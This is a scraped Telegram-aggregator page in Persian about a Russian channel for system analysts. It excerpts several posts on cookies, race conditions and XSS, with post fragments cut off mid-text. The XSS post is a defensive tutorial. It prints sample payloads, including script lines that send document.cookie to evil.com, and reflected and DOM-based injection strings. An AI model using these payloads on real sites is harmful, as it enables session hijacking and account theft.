Системный Аналитик
Канал для системных аналитиков и не только: подборки полезных материалов на все случаи жизни. Реклама и сотрудничество @radale https://gosuslugi.ru/snet/67b0613c6411ff785396754a
نمایش بیشتر📈 تحلیل کانال تلگرام Системный Аналитик
کانال Системный Аналитик (@sys_sa) در بخش زبانی روسی بازیگری فعال است. در حال حاضر جامعه شامل 18 990 مشترک است و جایگاه 7 024 را در دسته فناوری و برنامهها و رتبه 35 347 را در منطقه روسيا دارد.
📊 شاخصهای مخاطب و پویایی
از زمان ایجاد در невідомо، پروژه رشد سریعی داشته و 18 990 مشترک جذب کرده است.
بر اساس آخرین دادهها در تاریخ 26 ژوئن, 2026، کانال فعالیت پایداری دارد. در ۳۰ روز گذشته تغییر اعضا برابر 72 و در ۲۴ ساعت گذشته برابر -6 بوده و همچنان دسترسی گستردهای حفظ شده است.
- وضعیت تأیید: تأیید نشده
- نرخ تعامل (ER): میانگین تعامل مخاطب 18.79% است و در ۲۴ ساعت نخست پس از انتشار، محتوا معمولاً 9.93% واکنش نسبت به کل مشترکان کسب میکند.
- دسترسی پستها: هر پست به طور میانگین 3 569 بازدید دریافت میکند. در اولین روز معمولاً 1 886 بازدید جمعآوری میشود.
- واکنشها و تعامل: مخاطبان بهطور فعال حمایت میکنند؛ میانگین واکنش به هر پست 11 است.
- علایق موضوعی: محتوا بر موضوعات کلیدی مانند api, архитектура, собеседование, транзакция, документация تمرکز دارد.
📝 توضیح و سیاست محتوایی
نویسنده این فضا را محل بیان دیدگاههای شخصی توصیف میکند:
“Канал для системных аналитиков и не только: подборки полезных материалов на все случаи жизни.
Реклама и сотрудничество @radale
https://gosuslugi.ru/snet/67b0613c6411ff785396754a”
به لطف بهروزرسانیهای پرتکرار (آخرین داده در تاریخ 27 ژوئن, 2026)، کانال همواره بهروز و دارای دسترسی بالاست. تحلیلها نشان میدهد مخاطبان بهطور فعال با محتوا تعامل دارند و آن را به نقطه اثرگذاری مهم در دسته فناوری و برنامهها تبدیل کردهاند.
Set-Cookie
3. браузер сохраняет данные
4. при следующих запросах браузер автоматически добавляет заголовок Cookie
5. сервер использует полученное значение
Важно:
🟡cookie хранятся на стороне клиента
🟡браузер сам управляет отправкой cookie
🟡cookie привязаны к доменам и правилам доступа
🟡срок хранения может быть ограничен
Жизненный цикл
Создание ➡ сохранение в браузере ➡ использование в запросах ➡ обновление ➡ удаление или истечение срока действия
Cookie могут удаляться:
⭕пользователем вручную
⭕браузером
⭕сервером
⭕после окончания срока действия
Для чего используются
⏩ Авторизация и сессии
После входа сервер выдает идентификатор сессии.
Благодаря этому пользователь не авторизуется заново на каждой странице
⏩ Персонализация
Cookie позволяют сохранять
⭕язык интерфейса
⭕тему оформления
⭕настройки отображения
⭕регион и тд
⏩ Корзины интернет-магазинов
Позволяют хранить связь между пользователем и выбранными товарами
⏩ Аналитика
Для:
⭕подсчета посетителей
⭕отслеживания поведения
⭕измерения конверсий
⭕анализа пользовательских путей
⏩ Реклама и маркетинг
⭕помогают показывать релевантную рекламу
⭕ограничивать частоту показов
⭕строить аудитории
⏩ A/B-тестирование
Позволяют закреплять пользователя за вариантом эксперимента
Виды Cookie
⬆ First-party Cookie (собственные)
Создаются сайтом, который пользователь открыл
Примеры:
⭕авторизация
⭕корзина
⭕пользовательские настройки
⬇Third-party Cookie (сторонние)
Создаются сторонними доменами
Примеры:
⭕рекламные сети
⭕аналитические сервисы
⭕виджеты
Сторонние Cookie ограничивают из-за приватности
✖ Проблемы:
➖межсайтовое отслеживание
➖сбор пользовательских профилей
➖непрозрачность обработки данных
Влияние на интеграции
⏩ SSO (Single Sign-On)
После единого входа пользователь получает cookie сессии
Что учитывать:
📍домены и поддомены должны быть настроены корректно
📍срок жизни cookie влияет на длительность авторизации
📍ограничения SameSite могут нарушить сценарий входа между системами
⏩ API
Браузер может автоматически отправлять cookie вместе с запросами
Что учитывать:
📍корректная настройка CORS
📍для кросс-доменных запросов необходимо учитывать SameSite и Secure
📍часть API вместо cookie использует JWT-токены
📎 Материалы
1. Что такое Cookie и зачем они нужны
2. Ультимативный гайд по HTTP. Cookies и CORS
3. Что такое cookie?
4. Что такое cookie и для чего они нужны
5. Перевод Всё о файлах cookie и их безопасности
#проектирование
➿➿➿➿➿➿➿➿
🧑🎓 Больше полезного в базе знаний по системному анализу1️⃣ «Этика в фундаменте: как системный аналитик проектирует системы, которым можно доверять» Ольга Беспалова расскажет, как использовать международные стандарты, чтобы создавать продукты, в безопасности которых уверены и вы, и пользователи. 2️⃣ «St(e)akeHolder: где и как искать?» Екатерина Машьянова объяснит, как декомпозиция функций системы помогает находить заинтересованных лиц и налаживать работу с ними. 3️⃣ «Аналитик без хаоса: база знаний в Obsidian» Александр Орешкин покажет, как превратить личную базу в Obsidian в сеть связанных идей, где любой нужный контекст можно найти за пару кликов.Почему стоит посетить IT_ONE Analyst Meetup: ✅ Много практики от ведущих аналитиков IT_ONE, которые ежедневно решают задачи в сложных ИТ-проектах. ✅ Минимум воды, максимум архитектурных и методологических инсайтов. ✅ Онлайн-дискуссия с экспертами и коллегами со всей страны. ✅ Бонус: шаблоны и структура папок для вашей базы знаний в подарок. Регистрируйся на IT_ONE Analyst Meetup до 17 июня: https://cnrlink.com/itoneanalystmeetupsa
UPDATE уничтожает изменения другого сервиса
Как решать
✨обновлять только нужные поля
✨использовать оптимистическую блокировку
✨отказаться от общей БД
Event-driven архитектура
Сервис публикует:
➖OrderCreated
➖OrderCancelled
Потребитель получает их в обратном порядке
Клиент сначала получает письмо: «Заказ отменён»
А затем: «Заказ успешно создан»
Как решать
✨партицирование по orderId
✨версионирование событий
✨occurredAt timestamp
📎 Материалы
1. Небезопасная многопоточность или Race Condition
2. Что такое состояние гонки
3. Почему стоит проверять приложения на устойчивость к race condition
4. Разница между Data Race и Race Condition
📚 Книги
1. Высоконагруженные приложения - Мартин Клеппман
2. Микросервисы. Паттерны разработки и рефакторинга - Крис Ричардсон
3. Шаблоны корпоративных приложений - Мартин Фаулер
4. Release it! Проектирование и дизайн ПО для тех, кому не всё равно - Майкл Нейгард
#проектирование
➿➿➿➿➿➿➿➿
🧑🎓 Больше полезного в базе знаний по системному анализу<script>alert('Ваши куки: ' + document.cookie)</script>
3⃣ Приложение сохраняет или сразу выводит эту строку без обработки
5⃣ Пользователь открывает страницу ➡️ его браузер видит эту строку как настоящий HTML код ➡️выполняет её
5⃣ Злоумышленник получает нужные данные (например, куки сессии) и может войти под учётной записью жертвы
❗️Ключевое условие: приложение показывает пользовательские данные как будто это безопасный код страницы, а не обычный текст
Типы XSS
⭕️Хранимая (Stored XSS) — самая опасная
Скрипт сохраняется на сервере (в базе, в файле) и отображается всем, кто заходит на страницу
➡️ Пример
Форма отзывов. Хакер пишет отзыв:
> Классный товар! <script>new Image().src='https://evil.com/steal?c='+document.cookie</script>
Если не обработан текст, каждый посетитель страницы отзывов отправит свои куки на сервер злоумышленника.ю
✅ Защита
✨в требованиях к полю, которое будет отображаться у других пользователей, прописывать ограничения
✨если HTML нужен — описывать белый список тегов (только <b>, <i>, <a> с проверенными ссылками)
⭕️Отражённая (Reflected XSS)
Скрипт не сохраняется, а «отражается» в ответе сервера. Жертву нужно заставить перейти по специальной ссылке.
➡️ Пример
Сайт показывает поисковый запрос: «Вы искали: запрос».
Хакер отправляет жертве ссылку:
https://site.com/search?q=<script>alert(1)</script>
Жертва кликает ➡️ скрипт выполняется
✅ Защита
В требованиях запрещать отображать непроверенные параметры URL или заголовков прямо в HTML.
Даже для сообщений об ошибке
⭕️DOM‑based XSS (без участия сервера)
Скрипт появляется из‑за уязвимого JavaScript-кода на самой странице, который берёт данные из адресной строки (хеша, параметров) и вставляет в HTML
➡️ Пример (уязвимый код на странице):
document.getElementById('message').innerHTML = location.hash.substring(1)
Хакерская ссылка:
https://site.com/<img src=x onerror=alert(1)>
Браузер не отправляет хеш на сервер, но на странице выполняется вредоносный код
✅ Защита
В клиентских скриптах не использовать innerHTML с пользовательскими данными,
Применять безопасные методы (textContent, setAttribute)
⭕️Слепая XSS (Blind XSS)
Скрипт хранится на сервере, но срабатывает там, где хакер не видит результат — в админ‑панели, в интерфейсе оператора
➡️ Пример
Форма обратной связи. Поле «Имя»:
<script>fetch('https://evil.com?cookie='+document.cookie)</script>
Сам клиент видит своё имя без проблем (экранирование на публичной части есть)
Но оператор в админ‑панели смотрит все заявки — и там экранирования нет.
Скрипт ворует сессию оператора
✅ Защита
Требования к экранированию должны быть одинаковыми для всех интерфейсов, включая внутренние.
📎 Материалы
1. Что такое XSS-атака и как с ней бороться
2. XSS: нападение и защита
3. Что такое XSS-уязвимости и как защититься с помощью Content Security Policy
4. Примеры атак XSS и способов их ослабления
5. XSS-атака без секретов: от простого alert до захвата сессии
📚 Книги
Грокаем безопасность веб-приложения - Макдональд Малькольм
#безопасность
➿➿➿➿➿➿➿➿
🧑🎓 Больше полезного в базе знаний по системному анализу
اکنون در دسترس! پژوهش تلگرام ۲۰۲۵ — مهمترین بینشهای سال 
